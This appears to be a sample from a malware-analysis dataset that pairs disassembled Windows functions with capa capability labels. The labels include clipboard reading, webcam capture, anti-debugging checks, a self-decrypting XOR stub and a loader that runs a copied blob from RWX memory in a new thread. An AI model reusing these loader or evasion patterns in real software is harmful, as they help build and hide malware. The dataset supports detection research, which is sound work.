joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42fa90
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, ecx
call fcn.0042a170
test eax, eax
je 0x42fb7f
mov ecx, edi
call fcn.0042a170
mov ecx, eax
call fcn.00427720
test eax, eax
jne 0x42fb7f
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x42fb7f
mov eax, dword [0x909528]
and eax, 0xffff
push eax
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
jne 0x42faf2
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc
lea ecx, [esp + 0x10]
mov ebp, dword [esp + 0x24]
push 1
push ecx
mov ecx, dword [edi + 0x44]
lea edx, [esp + 0x1c]
shr ecx, 4
lea eax, [esp + 0x20]
push edx
mov edx, dword [esp + 0x2c]
and ecx, 1
push eax
push ecx
push ebp
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov ecx, edi
call fcn.0042a170
mov ecx, eax
call fcn.00427950
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x28]
mov eax, 1
cmp ecx, eax
jne 0x42fb7f
cmp ebx, eax
jne 0x42fb7f
cmp dword [esp + 0x10], eax
jne 0x42fb65
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0xcc]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [edi]
push eax
mov eax, dword [esp + 0x24]
push ecx
push ebp
push eax
mov ecx, edi
call dword [edx + 0xc0]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc
Function at 0x4327e0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x486258
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x432819
inc eax
mov dword [esi + 0x10], eax
jmp 0x43292c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x43282d
mov eax, 0xffffffc7
jmp 0x43292e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43283e
cmp dword [esi + 8], eax
jne 0x43282d
cmp dword [esi + 8], eax
jne 0x432857
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x432857
mov eax, 0xffffffc7
jmp 0x43292e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x43286b
push eax
mov ecx, ebx
call fcn.00432010
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.004038e0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x43289c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00403900
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00431780
test eax, eax
mov dword [esp + 0x38], eax
je 0x4328cf
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x8d9e50
call fcn.00403ae0
mov eax, dword [esp + 0x38]
jmp 0x43292e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00432640
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x432913
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00432660
mov esi, eax
test esi, esi
jne 0x432943
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00432640
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x4328e5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x8d9e50
call fcn.00403ae0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x8d9e50
call fcn.00403ae0
mov eax, esi
jmp 0x43292e

Function at 0x437350
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x4373b0
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x4373b0
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x4373b0
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x4373b0
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x4373f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x443150
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x486b48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.0047f162
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.00442ab0
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0047f090
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.0047b953
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.0047b953
push 1
push 0
push 0
mov ecx, esi
call fcn.0047b8fb
push 1
push 0
push 1
mov ecx, esi
call fcn.0047b8fb
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0047f1d4
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x4432d0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x486b68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.0047f162
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.00442ab0
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0047f090
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x443394
cmp dword [esp + 0x40], 1
jne 0x443392
cmp ecx, eax
jge 0x443394
mov eax, ecx
cmp eax, 0xc8
jge 0x4433a0
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.00443150
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0047f1d4
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x443ba0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x486c13
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00479d6b
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0047f40a
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00480926
test eax, eax
je 0x443cbc
mov ecx, dword [esp + 0x3c]
call fcn.0047f437
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x443c80
push edi
mov ecx, esi
call fcn.0047caa1
mov ecx, esi
call fcn.00443e60
cmp dword [esp + 0x38], 1
jne 0x443cb5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0047cbdc
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x445eb0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x445ee3
push esi
call fcn.00454260
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x445edc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x445f69
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x445f52
mov eax, dword [esi + 8]
test eax, eax
je 0x445f07
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x445f4e
cmp eax, 2
je 0x445f52
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x445efa
cmp eax, 3
je 0x445f2d
cmp eax, 1
jne 0x445efa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x445efa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x445efa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00445f90
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x445f78
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00445f90
add esp, 4
pop esi
ret

Function at 0x446800
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x446821
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x446821
mov eax, dword [eax + 0x44]
test eax, eax
je 0x446821
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x461550
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x4615f3
test eax, eax
jbe 0x4615f3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x4615f3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46159e
xor esi, esi
jmp 0x4615a4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x4615cf
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00463540
add esi, eax
push esi
mov ebx, esi
call fcn.00463540
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x4615b0
pop ebp
test edi, edi
pop edi
jne 0x4615f3
test ebx, ebx
je 0x4615f3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00468d70
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x461715
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x46182d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x46182d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0047a1bd
mov esi, eax
test esi, esi
je 0x46182d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x46182d
mov ecx, esi
call fcn.004616a0
cmp edi, eax
jge 0x46182d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x4617b3
mov dword [esp + 0x34], 1
jmp 0x46180e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x46182d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00460ca0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x463df0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x463e56
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x463e56
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x463e37
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4641e0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x464218
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x464ee0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x464f29
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4653a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x487380
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00464f50
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00464fd0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00464fd0
lea ecx, [esi + 0xc]
call fcn.00478748
lea ecx, [esi + 0x10]
call fcn.00478748
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00466560
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00466560
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00466560
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004787bd
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004787bd
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x47ab61
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x47ab99
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00478c18
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00478bf0
jmp 0x47aba5
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x47c25b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x47c29d
call fcn.00481fcc
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x47c29d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x47c294
xor eax, eax
jmp 0x47c2a5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0047c2ab
pop edi
pop esi
pop ebx
ret 4

Function at 0x4824fc
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x48252a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x482548
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00482462
jmp 0x482548
mov eax, dword [esi + 0x14]
test eax, eax
je 0x482548
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00482462
test edi, edi
mov eax, edi
jne 0x482532
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4013d0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push 0x40
mov edi, 0x4c650
push 0x3000
xor ebx, ebx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push dword [0x402068]
push esi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push ebx
push ebx
push esi
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebx
ret

Function at 0x401469
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40148b
push 0
call dword [sym.imp.MSVCRT.dll_exit]
add esp, 0x190
ret

Function at 0x401492
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
call fcn.00401469
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x40206c], eax
je 0x40151e
mov eax, dword [0x402070]
and dword [ebp - 4], 0
test eax, eax
jne 0x4014cd
push eax
call fcn.00401522
mov dword [0x402070], eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0x4010f0
call eax
mov esi, eax
push esi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
test esi, esi
jne 0x40151e
mov eax, dword [ebp - 4]
lea edi, [ebp - 0x14]
mov esi, dword [eax + 0x18]
mov ax, word [0x4011f0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [0x40206c]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4014b5
pop edi
pop esi
leave
ret
Function at 0x401522
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
cmp dword [0x402074], 0
mov dword [ebp - 0x18], 0x401388
mov dword [ebp - 0x14], 0x4016bb
mov dword [ebp - 0x10], 0x40137c
mov dword [ebp - 0xc], 0x401bec
mov dword [ebp - 8], 0x40136c
mov dword [ebp - 4], fcn.0040167f
jne 0x401670
push ebx
push esi
push edi
lea eax, [ebp - 0x22c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x401663
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x124]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x124]
push 0x401364
push eax
call sub.MSVCRT.dll_strcat
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x10
lea eax, [ebp - 0x124]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4015da
push 0x401388
push esi
call edi
test eax, eax
jne 0x4015d6
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor esi, esi
test esi, esi
jne 0x401629
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x124]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x124]
push 0x40135c
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x124]
push eax
call ebx
mov esi, eax
test esi, esi
je 0x401663
push 0x401388
push esi
call edi
test eax, eax
jne 0x401625
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor esi, esi
test esi, esi
je 0x401663
xor ebx, ebx
push dword [ebp + ebx*8 - 0x18]
push esi
call edi
test eax, eax
mov dword [ebp + ebx*8 - 0x14], eax
je 0x401642
inc ebx
cmp ebx, 3
jl 0x40162b
jmp 0x40164b
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor esi, esi
test esi, esi
je 0x401663
xor eax, eax
mov ecx, dword [ebp + eax - 0x14]
mov dword [eax + 0x401348], ecx
add eax, 8
cmp eax, 0x18
jl 0x401651
pop edi
pop esi
mov dword [0x402074], 1
pop ebx
movzx eax, word [ebp + 8]
mov eax, dword [eax*8 + 0x401348]
leave
ret 4

Function at 0x401b05
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x18]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x1c]
push dword [ebp + 8]
and dword [edi], 0
and byte [eax], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
je 0x401b7f
cmp word [ebx + 8], 2
jne 0x401b5b
cmp word [ebx + 0xa], 4
jne 0x401b5b
mov esi, dword [ebx + 0xc]
jmp 0x401b55
push dword [eax]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.0040199e
test eax, eax
mov dword [edi], eax
je 0x401b7a
lea edi, [eax + 0x1c]
add esi, 4
mov eax, dword [esi]
test eax, eax
jne 0x401b39
mov esi, dword [ebp + 0x18]
push 0x400
push dword [ebx]
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
and byte [esi + 0x400], 0
add esp, 0xc
xor eax, eax
jmp 0x401ba5
push 8
pop eax
jmp 0x401ba5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
mov eax, 0x2af9
sub ecx, eax
je 0x401ba5
dec ecx
je 0x401ba0
dec ecx
je 0x401b99
dec ecx
jmp 0x401ba5
mov eax, 0x2afb
jmp 0x401ba5
mov eax, 0x2afa
pop edi
pop esi
pop ebx
pop ebp
ret 0x18